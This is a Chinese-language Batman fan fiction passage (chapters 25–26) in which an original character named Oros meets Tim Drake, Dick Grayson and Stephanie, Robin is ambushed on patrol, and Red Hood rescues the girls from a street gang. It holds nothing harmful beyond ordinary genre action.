25. 第 25 章
欧洛斯注意到他的姿态变了,更加警觉,像是随时准备行动。她想起他的另一个身份:罗宾,蝙蝠侠的搭档。如果他说听到了什么...
"我们继续吧。"欧洛斯假装若无其事地说,但提高了声音,"二楼的雕花栏杆值得一看。"
他们来到二楼走廊,欧洛斯刻意放慢脚步,耳朵捕捉着任何异常声响。提姆则时不时回头,眼神锐利地扫视身后。
"看这个。"欧洛斯指向栏杆上精致的葡萄藤雕刻,"每个卷须末端都藏着一个小动物,据说是建筑师纪念他女儿的方式。"
提姆凑近观察,相机捕捉细节。"难以置信的工艺...等等。"他突然直起身,"又来了,那个声音。"
这次欧洛斯也听到了,楼下清晰的脚步声,刻意放轻但无法完全掩饰。她与提姆交换了一个眼神,两人默契地退到阴影处。
"可能是保安?"欧洛斯低声问。
提姆摇头,"周六这里没有巡逻。"他示意欧洛斯继续前进,"我们按原计划,但加快速度。"
他们快速穿过二楼走廊,欧洛斯引导提姆走最隐蔽的路线,时不时停下确认是否还被跟踪。提姆则时不时制造些声响误导追踪者,推倒一摞旧书,或者踢到金属废纸篓。
"这边。"欧洛斯拉开一扇隐蔽的小门,露出狭窄的维修通道,"通向地下室,然后可以从锅炉房出口离开。"
通道内漆黑一片,欧洛斯打开手机照明,提姆紧随其后。空气中弥漫着灰尘和潮湿的气味,墙壁上的管道不时滴下水珠。
欧洛斯的心跳加速,但她的声音出奇地平静:"需要分散注意力吗?我可以制造些声响。"
提姆惊讶地看了她一眼,随即摇头。"不,太危险。"他做出决定,"我们直接离开。保持自然,但加快速度。"
他们转向主楼梯,提姆刻意走在欧洛斯身后,形成保护的姿态。阳光从彩绘玻璃窗斜射进来,在楼梯上投下斑驳的红色和蓝色光斑。欧洛斯的红发在光线下如同燃烧的火焰,她突然意识到这让他们格外显眼。
"提姆,"她放慢脚步与他并行,"如果是冲你来的..."
"那就更该听我的。"提姆打断她,声音里是不容置疑的坚定,"我会送你回宿舍。"
他们走出老图书馆正门,刺眼的阳光让欧洛斯眯起眼睛。提姆的手轻轻搭在她背上,引导她快速穿过中央草坪。他的触碰温暖而坚定,却带着一丝不易察觉的颤抖。
"你还好吗?"欧洛斯小声问。
提姆勉强笑了笑:"当然。只是...有些不好的预感。"
校园里人来人往,学生们享受着周末的悠闲。这种平常景象与刚才图书馆内的紧张氛围形成鲜明对比。欧洛斯偷瞄提姆的侧脸,发现他仍在不断扫视周围,下颌线条绷得紧紧的。
"你不必送我,"欧洛斯在女生宿舍楼前停下,"这里很安全。"
提姆摇头:"再安全也不为过。"他犹豫了一下,"欧洛斯,答应我今晚别出门。如果发现任何异常,立刻给我打电话。"
"好。"欧洛斯点头,虽然她知道这个承诺有多空洞,她甚至没有提姆的电话号码。
提姆似乎也意识到了这点,他从钱包里取出一张名片递给她:"背面是我私人号码,24小时开机。"
名片简洁优雅,正面印着"提摩西·德雷克,德雷克工业特别顾问",背面用钢笔匆匆写下一串数字。欧洛斯小心地接过,指尖不小心碰到提姆的,一阵微小的电流似乎从接触点蔓延开来。
"谢谢。"她将名片塞进牛仔裤口袋,"你...小心。"
提姆点头,站在原地目送她进入宿舍楼。欧洛斯在电梯门关闭前的最后一秒,看到他依然站在那里,阳光下的身影挺拔而孤独。
电梯上升的过程中,欧洛斯掏出那张名片,犹豫片刻后,将号码存入了手机。她给联系人命名时停顿了几秒,最终只输入了"T.D."。
哥谭市的夜晚从不宁静。
提姆蹲在滴水兽上俯视着脚下的城市。冷风呼啸着穿过他的披风,带着哥谭特有的潮湿和腐朽气息。他调整了一下耳中的通讯器,听着阿尔弗雷德从蝙蝠洞传来的声音。
"东区警用频道报告一起可疑活动,犯罪巷附近,听起来像是武器交易。"
"收到。"提姆简短回应,手指在万能腰带上的装置轻点,调出那个区域的实时监控。模糊的画面中,几个黑影在废弃仓库附近移动。"我去看看。"
他从滴水兽一跃而下,披风在身后展开减缓下落速度。落地时一个前滚翻卸去冲击力,然后迅速隐入阴影中。
作为第三任罗宾,提姆已经能够娴熟地运用布鲁斯教给他的一切技巧。虽然有时他仍会想起迪克''第一任罗宾''轻松完成这些动作时的优雅姿态,或是杰森''那个他从未真正认识的第二任罗宾''充满侵略性的战斗风格
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他悄无声息地接近目标建筑,利用夜视镜观察里面的情况。五个武装分子,三个在门口警戒,两个在里面检查货物。标准的□□交易,但提姆的直觉在尖叫,有些不对劲。太明显了,简直像是故意引他过来。
就在这时,他的后颈汗毛突然竖起。有人在盯着他。不是普通路人那种漫不经心的一瞥,而是捕食者锁定猎物般的专注凝视。
提姆没有贸然转身,而是假装调整装备,实则通过披风内置的反光材料观察身后。空荡荡的屋顶,只有几个通风管和空调外机。但那种被监视的感觉挥之不去。
"便士一,帮我扫描一下这个区域的监控。"提姆低声说。
"所有摄像头都显示正常,罗宾。您发现什么异常了吗?"
提姆皱起眉头。"也许是我多虑了。"他直起身,决定继续巡逻路线。
就在他犹豫的瞬间,一个声音从背后传来。
"猜猜谁回来了?"
提姆甚至来不及转身,后脑就遭到一记重击。
哥谭大学的天空阴沉沉的,仿佛随时会压下来。欧洛斯坐在位置上心不在焉的听着教授讲课,手指紧紧攥着笔记本。已经上午十点了,提姆依旧没来。
"他虽然平时很忙,经常请假…"欧洛斯小声自语,红发在脑后扎成一个紧绷的马尾,"但一定会发条短信。"
欧洛斯握着手机,听着电话那头的忙音。提姆没有接。
她的手指无意识地摩挲着手机边缘,脑海里闪过前一天他们被跟踪的画面,那若有若无的脚步声,以及提姆骤然紧绷的肩膀。
“他不会有事的。”斯蒂芬妮在课间对她说过,“韦恩庄园有最好的医生。要是担心,放学可以一起去韦恩庄园看看。”
但斯蒂芬妮不知道的是,欧洛斯对韦恩庄园有着近乎本能的抗拒。她曾在福利院的旧报纸上剪下过布鲁斯的照片,却从未想过要靠近那座哥谭最著名的建筑。
她深吸一口气,点开通话记录,犹豫了几秒,还是发了一条短信:
“听说你病了,需要帮忙吗?”
手机屏幕突然亮起,一条新消息弹出:
“只是感冒,谢谢关心,我可能需要请假几天,有事可以找斯蒂芬妮。”
欧洛斯盯着那条消息,手指悬在键盘上,最终还是没有再回复。她关上手机,望向窗外。哥谭的黄昏阴沉沉的,远处的韦恩塔在暮色中若隐若现。
26.第 26 章
周五下午的哥谭大学校园比平时安静许多。欧洛斯站在教学楼前的台阶上,望着灰蒙蒙的天空,盘算着是否该趁雨还没下大之前赶到公交站。
她的背包里装着周末要读的几本心理学专著和换洗衣物,每个月的最后一个周末,她都会回哥谭儿童福利院看看。
"欧洛斯!等等!"
熟悉的声音让她转过身。斯蒂芬妮小跑着追上来,脸颊因为奔跑而微微泛红。她身后跟着一个高个子年轻男子,黑发微卷,穿着深蓝色夹克和牛仔裤,脸上挂着明亮的笑容。
"差点没赶上你,"斯蒂芬妮喘着气说,"这是迪克,我...呃...邻居家的哥哥。"她顿了顿,朝迪克眨了眨眼,"他来接我回家,顺便帮提姆带东西给你。"
欧洛斯愣了愣,她知道迪克,布鲁斯的长子,现在在布鲁德海文当警察。但欧洛斯并没有见过他,在欧洛斯来到哥谭前,迪克就已经离开哥谭了。
他看起来比大学生年长几岁,站姿挺拔,举手投足间有种运动员般的优雅。最令她恍惚的是那双蓝眼睛,不管是杰森、提姆甚至是第一次见的迪克,他们的眼睛都和布鲁斯太像了。欧洛斯抿唇不在看像迪克。
"嗨,你好,卡利斯托。"迪克向前一步,从口袋里掏出一个U盘,"提姆托我转交这个,说是你们小组作业的资料。"
欧洛斯犹豫地接过U盘,"谢谢。"她低声说,眼睛盯着地面。
"不客气。"迪克的声音温暖得像阳光,"提姆说他的部分已经完成了,但如果你有任何问题,可以随时联系他。"
欧洛斯点点头,把U盘塞进背包侧袋。她注意到迪克说"联系他"而不是"联系我",这让她稍微放松了些,她已经离韦恩家太近了。
"你要回福利院对吧?"斯蒂芬妮突然问道,"迪克可以顺路送你。"
欧洛斯的身体瞬间绷紧。"不用了,我坐公交就行。"
"可是要下雨了,"斯蒂芬妮指着越来越暗的天空,"而且带着那么多书多不方便。"
迪克看了看欧洛斯鼓鼓的背包,又瞥了眼天空。"确实快下雨了。我车就停在校门口,送你一程吧?反正顺路。"
欧洛斯咬着下唇。她有些犹豫,她不应该接近他们的,可是…这是她的兄弟,是布鲁斯最爱的孩子...欧洛斯想着,她只是想看看,看看布鲁斯深爱的孩子是什么样的。
"好吧,"她最终妥协,"谢谢。"
三人走向校门口,斯蒂芬妮一路上滔滔不绝地讲着周末计划,迪克时不时插几句玩笑话,而欧洛斯则保持沉默。校门外停着一辆低调的深色轿车,远没有欧洛斯想象中富家子弟会开的豪车那么张扬。
"上车吧,"迪克拉开后座车门,"你可以和斯蒂芬妮一起坐后面。"
欧洛斯钻进车里,惊讶地发现车内干净整洁但没有昂贵的装饰,座椅上甚至有个小小的咖啡渍,这让她莫名安心。
车子启动后,斯蒂芬妮打开了收音机,流行音乐的旋律填满了沉默的空间。欧洛斯望向窗外,看着熟悉的校园景色渐渐远去。
"所以,"迪克通过后视镜看了她一眼,"你在哥谭大学读什么专业?"
"司法系。"欧洛斯简短地回答。
"哇,那可不简单。"迪克的声音里带着真诚的赞叹,"我大学时差点被心理学导论搞崩溃。"
欧洛斯忍不住抬头看向后视镜,正好对上迪克带笑的眼睛。"你上过大学?"
"迪克可是在哈德逊大学商学院毕业的!"
斯蒂芬妮骄傲地宣布,仿佛那是她的成就一样。
欧洛斯眨了眨眼。商学院毕业生?那为什么迪克选择当警察?富二代体验不同的人生?
"没那么夸张,"迪克笑着摇摇头,"只是运气好而已。对了,欧洛斯,福利院具体在哪个位置?"
"橡树街和第三大道交界处。"欧洛斯回答,然后犹豫了一下,"你知道那里吗?"
"当然,"迪克轻松地说,"我小时候经常在那附近...呃...玩。"
斯蒂芬妮突然转过头,对欧洛斯做了个鬼脸。"别听他的,他小时候是个彻头彻尾的麻烦制造者。"
"嘿!"迪克抗议道,但嘴角却上扬着。
欧洛斯看着他们斗嘴,紧绷的肩膀不知不觉放松下来。雨点开始敲打车窗,模糊了外面的世界,但车内却出奇地温暖舒适。
"到了。"迪克将车停在福利院门前,雨已经下大了,"需要伞吗?我后备箱有一把。"
欧洛斯摇摇头。"不用了,就这几步路。"她顿了顿,手指搭在门把手上,"谢谢你们送我。"
"不客气,"迪克转过头,真诚地看着她,"如果需要回学校或者别的什么地方,可以告诉斯蒂芬妮,我也很乐意帮忙。"
斯蒂芬妮拉住了欧洛斯,“明天,欧洛斯,明天我们一起去逛街吧,我有一本很想买的书。”斯蒂芬妮摇了摇欧洛斯的手“拜托了,一起去吧。”
欧洛斯犹豫了一下,还是点点头,推开车门冲进雨中。跑到屋檐下时,她忍不住回头看了一眼。迪克的车还停在那里,直到确认她安全进入大楼才缓缓驶离。
站在福利院熟悉的走廊里,欧洛斯突然意识到,她真的在接触布鲁斯身边的人。也许,她离布鲁斯越来越近了,可…这真的好吗?
雨水顺着窗户滑下,欧洛斯摸着背包里的U盘,嘴角不自觉地微微上扬。似乎没那么糟糕。
周六上午,哥谭市的天空难得放晴。欧洛斯站在哥谭中央广场的喷泉旁,手指不安地摩挲着背包带。她比约定时间提前了十五分钟到达。
"欧洛斯!"
斯蒂芬妮的声音从身后传来。欧洛斯转身,看见她穿着一件亮黄色的夹克,在灰蒙蒙的城市背景下像一束阳光。
"你真的来了!"斯蒂芬妮小跑过来,给了欧洛斯一个猝不及防的拥抱,"我还担心你会放我鸽子呢。"
欧洛斯身体僵硬了一瞬,然后勉强放松下来。"我答应过的事就会做到。"她轻声说,目光扫过斯蒂芬妮身后,"就你一个人?"
"当然啦,"斯蒂芬妮挽起欧洛斯的手臂,拉着她往商业街方向走,"今天是girl''s day out!迪克回布鲁德海文了,提姆还在忙他的...呃...家族企业的事情。"
欧洛斯任由斯蒂芬妮拉着自己前进,“提姆感冒好了吗?”
“好的差不多了,现在还在恢复期,别担心,他身体壮实着呢。”斯蒂芬妮冲着欧洛斯眨了眨眼。
"所以,你想买什么书?"欧洛斯转移话题。
"哦!是一本关于法医证据分析的新著,"斯蒂芬妮的眼睛亮了起来,"我在考虑辅修犯罪学,这本书据说……"
她的话被一阵刺耳的摩托车轰鸣声打断。三辆改装过的摩托从她们身边呼啸而过,差点蹭到斯蒂芬妮的肩膀。
"嘿!看路啊!"斯蒂芬妮本能地喊道,随即像是想起什么似的,迅速看了欧洛斯一眼,降低了音量,"...真是没礼貌。"
欧洛斯注视着远去的摩托车,眯起眼睛。"我们换个方向走吧。"
"为什么?书店就在前面拐角啊。"
"那些人看起来不像善茬,"欧洛斯压低声音,"他们会绕回来的。"
斯蒂芬妮惊讶地看着欧洛斯,似乎没想到这个看似文静的女孩会有如此敏锐的街头直觉。"你确定吗?"
欧洛斯点点头。
斯蒂芬妮犹豫了一下,最终点头同意。"好吧,我们走另一条路。"
她们转入一条狭窄的侧街,欧洛斯加快了步伐。然而,命运似乎偏要和她们作对,在下一个拐角,三辆摩托车正横在路中央,六个穿着皮夹克的年轻人靠在车边,脸上挂着不怀好意的笑容。
"看啊,这不是刚才那位脾气火爆的小妞吗?"领头的混混''一个染着绿色莫西干头的壮汉''推开摩托车走了过来,"怎么,绕路是想躲着我们?"
欧洛斯把斯蒂芬妮往身后拉,同时迅速环顾四周寻找逃生路线。巷子太窄,两侧都是高墙,唯一的出口被摩托车堵住了。
"我们不想惹麻烦,"欧洛斯平静地说,声音比她自己预想的还要稳定,"让我们过去,这事就算了。"
混混们爆发出一阵大笑。"听听,她在跟我们谈条件!"莫西干头从口袋里掏出一把弹簧刀,"可惜,小妞,在哥谭,得用这个谈条件。"
斯蒂芬妮在欧洛斯身后绷紧了身体。欧洛斯能感觉
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到她的颤抖,以为她是害怕,实际上,斯蒂芬妮是在极力克制自己反击的本能。
"钱包给你们,"欧洛斯慢慢放下背包,"拿了钱就让我们走。"
"现在知道配合了?"莫西干头舔了舔嘴唇,"可惜晚了。我看你们两个长得挺漂亮,不如……"
他的话没能说完。一块砖头从上方飞来,精准地砸在他的后脑勺上。莫西干头向前踉跄几步,跪倒在地。
"谁他妈……"另一个混混抬头看向砖头飞来的方向,随即僵住了。
欧洛斯顺着他的目光望去。在防火梯上,站着一个戴着红色金属头盔的高大身影,黑色皮夹克在风中微微摆动。
"红头罩..."一个混混惊恐地低语。
下一秒,那个身影从五米高的地方一跃而下,落地时几乎没有声响。欧洛斯倒吸一口冷气,这不符合人体力学。
"六对二?"红头罩的声音通过头盔的变声器传出,带着机械感的嘲讽,"真他妈有出息。"
"这不关你的事,红头罩!"一个胆大的混混喊道,尽管他的声音在发抖。
"哦,但我觉得关我的事。"红头罩慢条斯理地从腰间抽出一把手枪,"给你们三秒消失。一..."
混混们不需要更多警告。他们扶起晕头转向的老大,跳上摩托车仓皇逃窜,发动机的轰鸣声中夹杂着几声恐惧的咒骂。
红头罩看着他们远去,然后转向两个女孩。
欧洛斯注意到他的头盔微微转动,目光锁定在斯蒂芬妮身上。斯蒂芬妮则摆出了一个微妙的防御姿势,欧洛斯曾在格斗课上见过类似的起手式,不是普通女孩会学的姿势。
"谢谢你的帮助,"欧洛斯打破沉默,向前一步挡在斯蒂芬妮前面,"我们很感激。"
红头罩的头盔又转向她。即使隔着面具,欧洛斯也能感觉到那种复杂的目光。奇怪的是,这目光让她感到一种诡异的熟悉。
"下次别走小巷,"红头罩最终说道,声音里的机械感似乎减弱了些,"哥谭的规矩。"
斯蒂芬妮突然开口:"你怎么会刚好出现在这里?"她的语气带着不该有的质问,像是警察审问嫌犯。
红头罩的肩膀微微绷紧。"路过。"他简短地回答,然后指了指欧洛斯,"你,司法系的?"
欧洛斯惊讶地睁大眼睛。"你怎么知道?"
"猜的。"红头罩耸耸肩,这个随意的动作让欧洛斯心头一颤,太像某个人了。"你看起来像是会背刑法典的那种人。"
就在欧洛斯想回应时,远处传来警笛声。红头罩抬头看了一眼,迅速后退。"该走了。记住…走大路。"
他转身跃上防火梯,几个起落就消失在了屋顶之间。欧洛斯凝视着他离去的方向,心跳如鼓。
"你还好吗?"斯蒂芬妮碰了碰她的手臂,声音里带着担忧,"我们该离开这里了。"
欧洛斯点点头,但思绪已经飘远。她回忆着红头罩的举止、说话的方式、甚至那个耸肩的动作...
"欧洛斯?"斯蒂芬妮的声音将她拉回现实。
"我没事,"欧洛斯勉强笑了笑,"只是...你觉不觉得红头罩有点..."
"危险?可疑?"斯蒂芬妮接话,眼睛还盯着屋顶线,"非常。没人知道他是谁,为谁工作。"
欧洛斯没有纠正她。她想说的是"熟悉",但这是不可能的,不是吗?
"走吧,"斯蒂芬妮拉起欧洛斯的手,这次的动作比之前谨慎了许多,"我知道另一条去书店的路。"
当她们走出小巷时,欧洛斯忍不住再次回头。在某个屋顶上,似乎有一个红色的影子一闪而过。她的心脏再次剧烈跳动起来。
斯蒂芬妮的声音打断了她的思绪:"你认识他吗?红头罩?"
欧洛斯迅速摇头。"不认识。只是...听说过一些传闻。"
斯蒂芬妮若有所思地点点头,但欧洛斯能看出她并不完全相信。两人之间的气氛微妙地改变了,某种心照不宣的警惕在无声滋长。
书店就在前方,但欧洛斯突然意识到,今天她们可能都不会真正专注于那本斯蒂芬妮想买的书了。两人都有太多未说出口的疑问,而哥谭的阴影似乎比往常更加迫近。